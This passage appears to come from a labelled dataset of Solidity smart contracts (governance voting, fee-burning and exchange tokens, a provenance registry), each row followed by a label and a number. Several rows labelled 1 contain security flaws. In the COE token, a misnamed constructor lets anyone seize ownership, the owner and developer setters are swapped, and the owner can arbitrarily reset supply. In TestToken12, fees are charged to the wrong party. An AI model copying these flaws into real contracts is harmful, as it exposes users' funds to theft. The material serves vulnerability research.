uint256 residualLockedTokens = TokenEntity.balanceOf(TokenManagerEntity);
result.totalAvailable = TokenEntity.totalSupply() - residualLockedTokens;
result.requiresCounting = true;
}
result.requiredForResult = result.totalAvailable / 2;
proposal.state = getRecordState("ACCEPTING_VOTES");
addActiveProposal(_proposalId);
tryFinaliseNonLockedTokensProposal(_proposalId);
}
struct VoteStruct {
address voter;
uint256 time;
bool vote;
uint256 power;
bool annulled;
uint256 index;
}
struct ResultRecord {
uint256 totalAvailable;
uint256 requiredForResult;
uint256 totalSoFar;
uint256 yes;
uint256 no;
bool requiresCounting;
}
mapping (uint256 => mapping (uint256 => VoteStruct) ) public VotesByProposalId;
mapping (uint256 => mapping (address => VoteStruct) ) public VotesByCaster;
mapping (uint256 => uint256 ) public VotesNumByProposalId;
mapping (uint256 => ResultRecord ) public ResultsByProposalId;
function RegisterVote(uint256 _proposalId, bool _myVote) public {
address Voter = msg.sender;
uint256 VoterPower = getVotingPower(_proposalId, Voter);
ProposalRecord storage proposal = ProposalsById[_proposalId];
if(VoterPower > 0 && proposal.state == getRecordState("ACCEPTING_VOTES")) {
if( hasPreviousVote(_proposalId, Voter) ) {
undoPreviousVote(_proposalId, Voter);
}
registerNewVote(_proposalId, Voter, _myVote, VoterPower);
tryEndVoting(_proposalId);
} else {
revert();
}
}
function hasPreviousVote(uint256 _proposalId, address _voter) public view returns (bool) {
VoteStruct storage previousVoteByCaster = VotesByCaster[_proposalId][_voter];
if( previousVoteByCaster.power > 0 ) {
return true;
}
return false;
}
function undoPreviousVote(uint256 _proposalId, address _voter) internal {
VoteStruct storage previousVoteByCaster = VotesByCaster[_proposalId][_voter];
previousVoteByCaster.annulled = true;
VoteStruct storage previousVoteByProposalId = VotesByProposalId[_proposalId][previousVoteByCaster.index];
previousVoteByProposalId.annulled = true;
ResultRecord storage result = ResultsByProposalId[_proposalId];
result.totalSoFar-= previousVoteByProposalId.power;
if(previousVoteByProposalId.vote == true) {
result.yes-= previousVoteByProposalId.power;
} else {
result.no-= previousVoteByProposalId.power;
}
}
function registerNewVote(uint256 _proposalId, address _voter, bool _myVote, uint256 _power) internal {
uint256 currentVoteId = VotesNumByProposalId[_proposalId]++;
VoteStruct storage vote = VotesByProposalId[_proposalId][currentVoteId];
vote.voter = _voter;
vote.time = getTimestamp();
vote.vote = _myVote;
vote.power = _power;
vote.index = currentVoteId;
VotesByCaster[_proposalId][_voter] = VotesByProposalId[_proposalId][currentVoteId];
addVoteIntoResult(_proposalId, _myVote, _power );
}
event EventAddVoteIntoResult ( uint256 indexed _proposalId, bool indexed _type, uint256 indexed _power );
function addVoteIntoResult(uint256 _proposalId, bool _type, uint256 _power ) internal {
EventAddVoteIntoResult(_proposalId, _type, _power );
ResultRecord storage newResult = ResultsByProposalId[_proposalId];
newResult.totalSoFar+= _power;
if(_type == true) {
newResult.yes+= _power;
} else {
newResult.no+= _power;
}
}
function getTotalTokenVotingPower(address _voter) public view returns ( uint256 ) {
address VaultAddress = FundingManagerEntity.getMyVaultAddress(_voter);
uint256 VotingPower = TokenEntity.balanceOf(VaultAddress);
VotingPower+= TokenEntity.balanceOf(_voter);
return VotingPower;
}
function getVotingPower(uint256 _proposalId, address _voter) public view returns ( uint256 ) {
uint256 VotingPower = 0;
ProposalRecord storage proposal = ProposalsById[_proposalId];
if(proposal.actionType == getActionType("AFTER_COMPLETE_CODE_UPGRADE")) {
return TokenEntity.balanceOf(_voter);
} else {
address VaultAddress = FundingManagerEntity.getMyVaultAddress(_voter);
if(VaultAddress != address(0x0)) {
VotingPower = TokenEntity.balanceOf(VaultAddress);
if( proposal.actionType == getActionType("PROJECT_DELISTING") ) {
VotingPower+= TokenEntity.balanceOf(_voter);
}
}
}
return VotingPower;
}
mapping( uint256 => uint256 ) public lastProcessedVoteIdByProposal;
mapping( uint256 => uint256 ) public ProcessedVotesByProposal;
mapping( uint256 => uint256 ) public VoteCountAtProcessingStartByProposal;
uint256 public VoteCountPerProcess = 10;
function setVoteCountPerProcess(uint256 _perProcess) external onlyDeployer {
if(_perProcess > 0) {
VoteCountPerProcess = _perProcess;
} else {
revert();
}
}
event EventProcessVoteTotals ( uint256 indexed _proposalId, uint256 indexed start, uint256 indexed end );
function ProcessVoteTotals(uint256 _proposalId, uint256 length) public onlyApplicationEntity {
uint256 start = lastProcessedVoteIdByProposal[_proposalId] + 1;
uint256 end = start + length - 1;
if(end > VotesNumByProposalId[_proposalId]) {
end = VotesNumByProposalId[_proposalId];
}
EventProcessVoteTotals(_proposalId, start, end);
if(start == 1) {
VoteCountAtProcessingStartByProposal[_proposalId] = VotesNumByProposalId[_proposalId];
ResultRecord storage result = ResultsByProposalId[_proposalId];
result.yes = 0;
result.no = 0;
result.totalSoFar = 0;
}
if(VoteCountAtProcessingStartByProposal[_proposalId] != VotesNumByProposalId[_proposalId]) {
lastProcessedVoteIdByProposal[_proposalId] = 0;
return;
}
for(uint256 i = start; i <= end; i++) {
VoteStruct storage vote = VotesByProposalId[_proposalId][i - 1];
if(vote.annulled != true) {
addVoteIntoResult(_proposalId, vote.vote, vote.power );
}
lastProcessedVoteIdByProposal[_proposalId]++;
}
if(lastProcessedVoteIdByProposal[_proposalId] >= VotesNumByProposalId[_proposalId] ) {
ProcessedVotesByProposal[_proposalId] = lastProcessedVoteIdByProposal[_proposalId];
lastProcessedVoteIdByProposal[_proposalId] = 0;
tryEndVoting(_proposalId);
}
}
function canEndVoting(uint256 _proposalId) public view returns (bool) {
ResultRecord memory result = ResultsByProposalId[_proposalId];
if(result.requiresCounting == false) {
if(result.yes > result.requiredForResult || result.no > result.requiredForResult) {
return true;
}
}
else {
if(ProcessedVotesByProposal[_proposalId] == VotesNumByProposalId[_proposalId]) {
if(result.yes > result.requiredForResult || result.no > result.requiredForResult) {
return true;
}
}
}
return false;
}
function getProposalType(uint256 _proposalId) public view returns (uint8) {
return ProposalsById[_proposalId].actionType;
}
function expiryChangesState(uint256 _proposalId) public view returns (bool) {
ProposalRecord memory proposal = ProposalsById[_proposalId];
if( proposal.state == getRecordState("ACCEPTING_VOTES") && proposal.time_end < getTimestamp() ) {
return true;
}
return false;
}
function needsProcessing(uint256 _proposalId) public view returns (bool) {
if( expiryChangesState(_proposalId) ) {
return true;
}
ResultRecord memory result = ResultsByProposalId[_proposalId];
if(result.requiresCounting == true) {
if( lastProcessedVoteIdByProposal[_proposalId] < VotesNumByProposalId[_proposalId] ) {
if(ProcessedVotesByProposal[_proposalId] == VotesNumByProposalId[_proposalId]) {
return false;
}
}
} else {
return false;
}
return true;
}
function tryEndVoting(uint256 _proposalId) internal {
if(canEndVoting(_proposalId)) {
finaliseProposal(_proposalId);
}
if(expiryChangesState(_proposalId) ) {
finaliseExpiredProposal(_proposalId);
}
}
function finaliseProposal(uint256 _proposalId) internal {
ResultRecord storage result = ResultsByProposalId[_proposalId];
ProposalRecord storage proposal = ProposalsById[_proposalId];
if( proposal.actionType != getActionType("MILESTONE_DEADLINE")) {
if(result.yes > result.requiredForResult) {
proposal.state = getRecordState("VOTING_RESULT_YES");
} else if (result.no >= result.requiredForResult) {
proposal.state = getRecordState("VOTING_RESULT_NO");
}
}
runActionAfterResult(_proposalId);
}
function finaliseExpiredProposal(uint256 _proposalId) internal {
ResultRecord storage result = ResultsByProposalId[_proposalId];
ProposalRecord storage proposal = ProposalsById[_proposalId];
if(result.yes == 0 && result.no == 0) {
proposal.state = getRecordState("VOTING_RESULT_YES");
} else {
if(result.yes > result.no) {
proposal.state = getRecordState("VOTING_RESULT_YES");
} else if (result.no >= result.yes) {
proposal.state = getRecordState("VOTING_RESULT_NO");
}
}
runActionAfterResult(_proposalId);
}
function tryFinaliseNonLockedTokensProposal(uint256 _proposalId) internal {
ResultRecord storage result = ResultsByProposalId[_proposalId];
ProposalRecord storage proposal = ProposalsById[_proposalId];
if(result.requiredForResult == 0) {
proposal.state = getRecordState("VOTING_RESULT_YES");
runActionAfterResult(_proposalId);
}
}
function addActiveProposal(uint256 _proposalId) internal {
ActiveProposalIds[ActiveProposalNum++]= _proposalId;
}
function removeAndReindexActive(uint256 _proposalId) internal {
bool found = false;
for (uint8 i = 0; i < ActiveProposalNum; i++) {
if(ActiveProposalIds[i] == _proposalId) {
found = true;
}
if(found) {
ActiveProposalIds[i] = ActiveProposalIds[i+1];
}
}
ActiveProposalNum--;
}
bool public EmergencyFundingReleaseApproved = false;
function runActionAfterResult(uint256 _proposalId) internal {
ProposalRecord storage proposal = ProposalsById[_proposalId];
if(proposal.state == getRecordState("VOTING_RESULT_YES")) {
if(proposal.actionType == getActionType("MILESTONE_DEADLINE")) {
} else if (proposal.actionType == getActionType("MILESTONE_POSTPONING")) {
} else if (proposal.actionType == getActionType("EMERGENCY_FUND_RELEASE")) {
EmergencyFundingReleaseApproved = true;
} else if (proposal.actionType == getActionType("PROJECT_DELISTING")) {
ListingContractEntity.delistChild( proposal.extra );
} else if (
proposal.actionType == getActionType("IN_DEVELOPMENT_CODE_UPGRADE") ||
proposal.actionType == getActionType("AFTER_COMPLETE_CODE_UPGRADE")
) {
acceptCodeUpgrade(_proposalId);
}
removeAndReindexActive(_proposalId);
} else if(proposal.state == getRecordState("VOTING_RESULT_NO")) {
if(proposal.actionType == getActionType("MILESTONE_DEADLINE")) {
} else {
removeAndReindexActive(_proposalId);
}
}
}
function getMyVoteForCurrentMilestoneRelease(address _voter) public view returns (bool) {
uint8 recordId = MilestonesEntity.currentRecord();
bytes32 hash = getHash( getActionType("MILESTONE_DEADLINE"), bytes32( recordId ), 0 );
uint256 proposalId = ProposalIdByHash[hash];
VoteStruct memory vote = VotesByCaster[proposalId][_voter];
return vote.vote;
}
function getHasVoteForCurrentMilestoneRelease(address _voter) public view returns (bool) {
uint8 recordId = MilestonesEntity.currentRecord();
bytes32 hash = getHash( getActionType("MILESTONE_DEADLINE"), bytes32( recordId ), 0 );
uint256 proposalId = ProposalIdByHash[hash];
return hasPreviousVote(proposalId, _voter);
}
function getMyVote(uint256 _proposalId, address _voter) public view returns (bool) {
VoteStruct memory vote = VotesByCaster[_proposalId][_voter];
return vote.vote;
}
} | 1 | 3,330 |
pragma solidity ^0.4.13;
contract Token {
function totalSupply() constant returns (uint256 supply);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Burn(address indexed from, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function onePercent(uint256 a) internal constant returns (uint256){
return div(a,uint256(100));
}
function power(uint256 a,uint256 b) internal constant returns (uint256){
return mul(a,10**b);
}
}
contract StandardToken is Token {
using SafeMath for uint256;
uint8 public decimals;
mapping(address=>bool) internal withoutFee;
uint256 internal maxFee;
function transfer(address _to, uint256 _value) returns (bool success) {
uint256 fee=getFee(_value);
if (balances[msg.sender].add(fee) >= _value && _value > 0) {
doTransfer(msg.sender,_to,_value,fee);
return true;
} else { return false; }
}
function getFee(uint256 _value) private returns (uint256){
uint256 onePercentOfValue=_value.onePercent();
uint256 fee=uint256(maxFee).power(decimals);
if (_value.add(onePercentOfValue) >= fee) {
return fee;
} if (_value.add(onePercentOfValue) < fee) {
return onePercentOfValue;
}
}
function doTransfer(address _from,address _to,uint256 _value,uint256 fee) internal {
balances[_from] =balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(_from, _to, _value);
if(!withoutFee[_from]){
doBurn(msg.sender,fee);
}
}
function doBurn(address _from,uint256 _value) private returns (bool success){
require(balanceOf(_from) >= _value);
balances[_from] =balances[_from].sub(_value);
_totalSupply =_totalSupply.sub(_value);
Burn(_from, _value);
return true;
}
function burn(address _from,uint256 _value) public returns (bool success) {
return doBurn(_from,_value);
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
uint256 fee=getFee(_value);
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0 &&
(balances[msg.sender]>fee || withoutFee[msg.sender])) {
doTransfer(_from,_to,_value,fee);
uint256 decraseAllowed=_value;
if(!withoutFee[msg.sender]){
decraseAllowed.add(fee);
}
allowed[_from][msg.sender] =allowed[_from][msg.sender].sub(decraseAllowed);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function totalSupply() constant returns (uint totalSupply){
return _totalSupply;
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public _totalSupply;
}
contract TestToken12 is StandardToken {
function () {
revert();
}
string public name;
string public symbol;
string public version = 'H1.0';
address private _owner;
string public feeInfo = "Each operation costs 1% of the transaction amount, but not more than 250 tokens.";
function TestToken12() {
_totalSupply = 800000000000000000000000000;
_owner=msg.sender;
balances[msg.sender] =_totalSupply;
allocate(0x98592d09bA9B739BF9D563a601CB3F6c3A238475,55);
allocate(0x52B8fA840468e2dd978936B54d0DC83392f4B4aC,20);
allocate(0x7DfE12664C21c00B6A3d1cd09444fC2CC9e7f192,20);
allocate(0x353c65713fDf8169f14bE74012a59eF9BAB00e9b,5);
maxFee=250;
name = "Test Token 12";
decimals = 18;
symbol = "TT12";
}
function allocate(address _address,uint256 percent) private{
uint256 bal=_totalSupply.onePercent().mul(percent);
withoutFee[_address]=true;
doTransfer(msg.sender,_address,bal,0);
}
function addToWithoutFee(address _address) public {
require(msg.sender==_owner);
withoutFee[_address]=true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { revert(); }
return true;
}
} | 1 | 3,637 |
pragma solidity ^0.5.3;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract SuperOwner is Ownable{
event Execution(address destination,uint value,bytes data);
event ExecutionFailure(address destination,uint value);
function executeTransaction(
address payable destination,
uint value,
bytes memory data
) public onlyOwner {
(
bool executed,
bytes memory responseData
) = destination.call.value(value)(data);
if (executed) {
emit Execution(destination,value,responseData);
} else {
emit ExecutionFailure(destination,value);
}
}
}
contract ProvenanceDocuments is Ownable, SuperOwner{
using SafeMath for uint256;
struct Document {
string name;
bytes32 hash_;
uint256 createdAt;
bool exist;
}
struct Type {
string name;
uint256 versionsCount;
bool exist;
mapping (uint256 => Document) versions;
}
mapping (bytes32 => Type) private document_types_;
uint256 private document_types_count_;
event TypeAdded(string name, bytes32 hash_);
event TypeRemoved(string name, bytes32 hash_, uint256 versions);
event DocumentAdded(string name, bytes32 hash_, uint256 version);
constructor () public Ownable(){
string[5] memory baseTypes = [
"AuthenticityCertificate",
"ConditionReport",
"IdentifiedDamages",
"ArtworkInsuranceCertificate",
"CertificateOfValuation"
];
for (uint256 i; i < baseTypes.length; i++){
addType(baseTypes[i]);
}
}
modifier onlyNonexistentTypeName(string memory name){
require(!typeNameExist(name), "Document type exists");
_;
}
modifier onlyNonexistentType(bytes32 hash_){
require(!typeExist(hash_), "Document type exists");
_;
}
modifier onlyExistentType(bytes32 hash_){
require(typeExist(hash_), "Document type not exists");
_;
}
modifier onlyExistentTypeVersion(bytes32 hash_, uint256 version){
require(typeVersionExist(hash_, version), "Document version not exist");
_;
}
function typeExist(bytes32 hash_) public view returns (bool){
return document_types_[hash_].exist;
}
function typeNameExist(string memory name) public view returns (bool){
bytes32 hash_ = keccak256(abi.encodePacked(name));
return typeExist(hash_);
}
function typeVersionExist(bytes32 hash_, uint256 version) public view onlyExistentType(hash_) returns (bool){
if (typeExist(hash_)){
if (version < document_types_[hash_].versionsCount){
return document_types_[hash_].versions[version].exist;
}
}
return false;
}
function typesCount() public view returns(uint256){
return document_types_count_;
}
function typeHash(string memory name) public view onlyNonexistentTypeName(name) returns(bytes32){
bytes32 hash_ = keccak256(abi.encodePacked(name));
require(typeExist(hash_), "Document type not exists");
return hash_;
}
function typeVersionsCount(bytes32 hash_) public view onlyExistentType(hash_) returns(uint256){
return document_types_[hash_].versionsCount;
}
function getDocumentVersion(
bytes32 type_,
uint256 version)
public view onlyExistentType(type_) onlyExistentTypeVersion(type_, version)
returns(
string memory name,
bytes32 hash_,
uint256 createdAt
){
Document memory document = document_types_[type_].versions[version];
name = document.name;
hash_ = document.hash_;
createdAt = document.createdAt;
}
function getDocument(bytes32 type_) public view onlyExistentType(type_)
returns(
string memory name,
bytes32 hash_,
uint256 version,
uint256 createdAt
){
version = document_types_[type_].versionsCount.sub(1);
Document memory document = document_types_[type_].versions[version];
name = document.name;
hash_ = document.hash_;
createdAt = document.createdAt;
}
function addType(string memory name) public onlyOwner onlyNonexistentTypeName(name){
bytes32 hash_ = keccak256(abi.encodePacked(name));
document_types_[hash_] = Type(name, 0, true);
document_types_count_ = document_types_count_.add(1);
emit TypeAdded(name, hash_);
}
function removeType(bytes32 hash_) public onlyOwner onlyExistentType(hash_){
uint256 versions = document_types_[hash_].versionsCount;
string memory name = document_types_[hash_].name;
document_types_[hash_] = Type("", 0, false);
document_types_count_ = document_types_count_.sub(1);
emit TypeRemoved(name, hash_, versions);
}
function addDocument(bytes32 type_, string memory name, bytes32 hash_) public onlyOwner onlyExistentType(type_){
uint256 versionNumber = document_types_[type_].versionsCount;
document_types_[type_].versions[versionNumber] = Document(
name,
hash_,
now,
true
);
document_types_[type_].versionsCount = versionNumber.add(1);
emit DocumentAdded(
name,
hash_,
versionNumber
);
}
} | 0 | 1,396 |
contract Partner {
function exchangeTokensFromOtherContract(address _source, address _recipient, uint256 _RequestedTokens);
}
contract COE {
string public name = "CoEval";
uint8 public decimals = 18;
string public symbol = "COE";
address public _owner;
address public _dev = 0xC96CfB18C39DC02FBa229B6EA698b1AD5576DF4c;
address _pMine = 0x76D05E325973D7693Bb854ED258431aC7DBBeDc3;
address public _devFeesAddr;
uint256 public _tokePerEth = 177000000000000000;
bool public _coldStorage = true;
bool public _receiveEth = true;
bool _feesEnabled = false;
bool _payFees = false;
uint256 _fees;
uint256 _lifeVal = 0;
uint256 _feeLimit = 0;
uint256 _devFees = 0;
uint256 public _totalSupply = 100000 * 1 ether;
uint256 public _frozenTokens = 0;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Exchanged(address indexed _from, address indexed _to, uint _value);
mapping (address => uint256) public balances;
mapping (address => bool) public exchangePartners;
mapping (address => uint256) public exchangeRates;
function MNY() {
_owner = msg.sender;
preMine();
}
function preMine() internal {
balances[_dev] = 32664750000000000000000;
Transfer(this, _pMine, 32664750000000000000000);
_totalSupply = sub(_totalSupply, 32664750000000000000000);
}
function transfer(address _to, uint _value, bytes _data) public {
require(balances[msg.sender] >= _value);
if(_to == address(this)) {
_totalSupply = add(_totalSupply, _value);
balances[msg.sender] = sub(balanceOf(msg.sender), _value);
Transfer(msg.sender, _to, _value);
}
else {
uint codeLength;
assembly {
codeLength := extcodesize(_to)
}
require(codeLength == 0);
balances[msg.sender] = sub(balanceOf(msg.sender), _value);
balances[_to] = add(balances[_to], _value);
Transfer(msg.sender, _to, _value);
}
}
function transfer(address _to, uint _value) public {
require(balances[msg.sender] >= _value);
if(_to == address(this)) {
_totalSupply = add(_totalSupply, _value);
balances[msg.sender] = sub(balanceOf(msg.sender), _value);
Transfer(msg.sender, _to, _value);
}
else {
uint codeLength;
assembly {
codeLength := extcodesize(_to)
}
require(codeLength == 0);
balances[msg.sender] = sub(balanceOf(msg.sender), _value);
balances[_to] = add(balances[_to], _value);
Transfer(msg.sender, _to, _value);
}
}
function exchange(address _partner, uint _amount) public {
require(balances[msg.sender] >= _amount);
uint codeLength;
assembly {
codeLength := extcodesize(_partner)
}
require(codeLength > 0);
require(exchangePartners[_partner]);
require(requestTokensFromOtherContract(_partner, this, msg.sender, _amount));
if(_coldStorage) {
_frozenTokens = add(_frozenTokens, _amount);
}
else {
_totalSupply = add(_totalSupply, _amount);
}
balances[msg.sender] = sub(balanceOf(msg.sender), _amount);
Exchanged(msg.sender, _partner, _amount);
Transfer(msg.sender, this, _amount);
}
function () payable public {
require((msg.value > 0) && (_receiveEth));
uint256 _tokens = mul(div(msg.value, 1 ether),_tokePerEth);
require(_totalSupply >= _tokens);
_totalSupply = sub(_totalSupply, _tokens);
balances[msg.sender] = add(balances[msg.sender], _tokens);
Transfer(this, msg.sender, _tokens);
_lifeVal = add(_lifeVal, msg.value);
if(_feesEnabled) {
if(!_payFees) {
if(_lifeVal >= _feeLimit) _payFees = true;
}
if(_payFees) {
_devFees = add(_devFees, ((msg.value * _fees) / 10000));
}
}
}
function requestTokensFromOtherContract(address _targetContract, address _sourceContract, address _recipient, uint256 _value) internal returns (bool){
Partner p = Partner(_targetContract);
p.exchangeTokensFromOtherContract(_sourceContract, _recipient, _value);
return true;
}
function exchangeTokensFromOtherContract(address _source, address _recipient, uint256 _RequestedTokens) {
require(exchangeRates[msg.sender] > 0);
uint256 _exchanged = mul(_RequestedTokens, exchangeRates[_source]);
require(_exchanged <= _totalSupply);
balances[_recipient] = add(balances[_recipient],_exchanged);
_totalSupply = sub(_totalSupply, _exchanged);
Exchanged(_source, _recipient, _exchanged);
Transfer(this, _recipient, _exchanged);
}
function changePayRate(uint256 _newRate) public {
require(((msg.sender == _owner) || (msg.sender == _dev)) && (_newRate >= 0));
_tokePerEth = _newRate;
}
function safeWithdrawal(address _receiver, uint256 _value) public {
require((msg.sender == _owner));
uint256 valueAsEth = mul(_value,1 ether);
if(_feesEnabled) {
if(_payFees) _devFeesAddr.transfer(_devFees);
_devFees = 0;
}
require(valueAsEth <= this.balance);
_receiver.transfer(valueAsEth);
}
function balanceOf(address _receiver) public constant returns (uint balance) {
return balances[_receiver];
}
function changeOwner(address _receiver) public {
require(msg.sender == _owner);
_dev = _receiver;
}
function changeDev(address _receiver) public {
require(msg.sender == _dev);
_owner = _receiver;
}
function changeDevFeesAddr(address _receiver) public {
require(msg.sender == _dev);
_devFeesAddr = _receiver;
}
function toggleReceiveEth() public {
require((msg.sender == _dev) || (msg.sender == _owner));
if(!_receiveEth) {
_receiveEth = true;
}
else {
_receiveEth = false;
}
}
function toggleFreezeTokensFlag() public {
require((msg.sender == _dev) || (msg.sender == _owner));
if(!_coldStorage) {
_coldStorage = true;
}
else {
_coldStorage = false;
}
}
function defrostFrozenTokens() public {
require((msg.sender == _dev) || (msg.sender == _owner));
_totalSupply = add(_totalSupply, _frozenTokens);
_frozenTokens = 0;
}
function addExchangePartnerAddressAndRate(address _partner, uint256 _rate) {
require((msg.sender == _dev) || (msg.sender == _owner));
uint codeLength;
assembly {
codeLength := extcodesize(_partner)
}
require(codeLength > 0);
exchangeRates[_partner] = _rate;
}
function addExchangePartnerTargetAddress(address _partner) public {
require((msg.sender == _dev) || (msg.sender == _owner));
exchangePartners[_partner] = true;
}
function removeExchangePartnerTargetAddress(address _partner) public {
require((msg.sender == _dev) || (msg.sender == _owner));
exchangePartners[_partner] = false;
}
function canExchange(address _targetContract) public constant returns (bool) {
return exchangePartners[_targetContract];
}
function contractExchangeRate(address _exchangingContract) public constant returns (uint256) {
return exchangeRates[_exchangingContract];
}
function totalSupply() public constant returns (uint256) {
return _totalSupply;
}
function updateTokenBalance(uint256 newBalance) public {
require((msg.sender == _dev) || (msg.sender == _owner));
_totalSupply = newBalance;
}
function getBalance() public constant returns (uint256) {
return this.balance;
}
function getLifeVal() public returns (uint256) {
require((msg.sender == _owner) || (msg.sender == _dev));
return _lifeVal;
}
function payFeesToggle() {
require((msg.sender == _dev) || (msg.sender == _owner));
if(_payFees) {
_payFees = false;
}
else {
_payFees = true;
}
}
function updateFeeAmount(uint _newFee) public {
require((msg.sender == _dev) || (msg.sender == _owner));
require((_newFee >= 0) && (_newFee <= 100));
_fees = _newFee * 100;
}
function withdrawDevFees() public {
require(_payFees);
_devFeesAddr.transfer(_devFees);
_devFees = 0;
}
function mul(uint a, uint b) internal pure returns (uint) {
uint c = a * b;
require(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
uint c = a / b;
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
require(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a);
return c;
}
} | 1 | 3,584 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeERC20 {
function safeTransfer(
ERC20Basic _token,
address _to,
uint256 _value
)
internal
{
require(_token.transfer(_to, _value));
}
function safeTransferFrom(
ERC20 _token,
address _from,
address _to,
uint256 _value
)
internal
{
require(_token.transferFrom(_from, _to, _value));
}
function safeApprove(
ERC20 _token,
address _spender,
uint256 _value
)
internal
{
require(_token.approve(_spender, _value));
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping(address => mapping(address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
